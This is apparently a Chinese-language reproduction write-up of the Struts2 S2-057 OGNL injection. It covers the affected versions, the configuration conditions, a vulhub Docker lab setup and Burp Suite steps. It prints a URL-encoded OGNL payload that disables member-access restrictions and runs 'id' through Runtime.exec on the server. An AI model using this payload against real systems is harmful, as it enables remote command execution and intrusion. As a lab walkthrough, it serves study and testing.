影响范围

  • Struts 2.3 – 2.3.34
  • Struts 2.5 – 2.5.16

漏洞类型

OGNL 表达式注入

操作系统限制

配置要求

  • alwaysSelectFullNamespace 设置为 true
  • package 标签未定义 namespace 或使用了通配符

漏洞利用

执行命令,可以执行各种敏感操作,例如任意文件读取,植入木马,内网探测

利用原理

Struts2 将 URL 路径中的 namespace 当作 OGNL 表达式,在重定向跳转时对其进行二次解析,执行敏感命令。Struts2 中的 URL 结构通常为 http://域名/命名空间/Action 名.action,如果攻击者访问不存在的命名空间,且配置了 alwaysSelectFullNamespace = true,那么会将攻击者注入的 payload 提取出来,将动态变量赋值为攻击 payload,OGNL 引擎解析命名空间时候执行了恶意 payload

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-057
#拉取镜像
docker-compose up -d

1773323657480

用 burpsuite 抓取 http://公网: 8080/struts2-showcase 数据包

1773323699382发送到 Repeater 模块
1773323750416

将 URL 访问改成下面 payload,即在原本基础上添加即可,这里用 ${(777 * 777)} 是为了验证漏洞,下面对 payload 的特殊符号已经进行 url 编码

1
/struts2-showcase/%24%7B%28777%2A777%29%7D/actionChain1.action

1773323786334

响应码为 302,点击跟随重定向

1773323830540

原链接出现了计算结果,执行了 OGNL 表达式,说明存在注入点

1773323872780

下面执行更加敏感的命令,替换掉上面 ${(777 * 777)} 的位置

1
%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

1773323920618

响应码 302,进行重定向

1773323963853

出现敏感命令执行的结果

1773324000078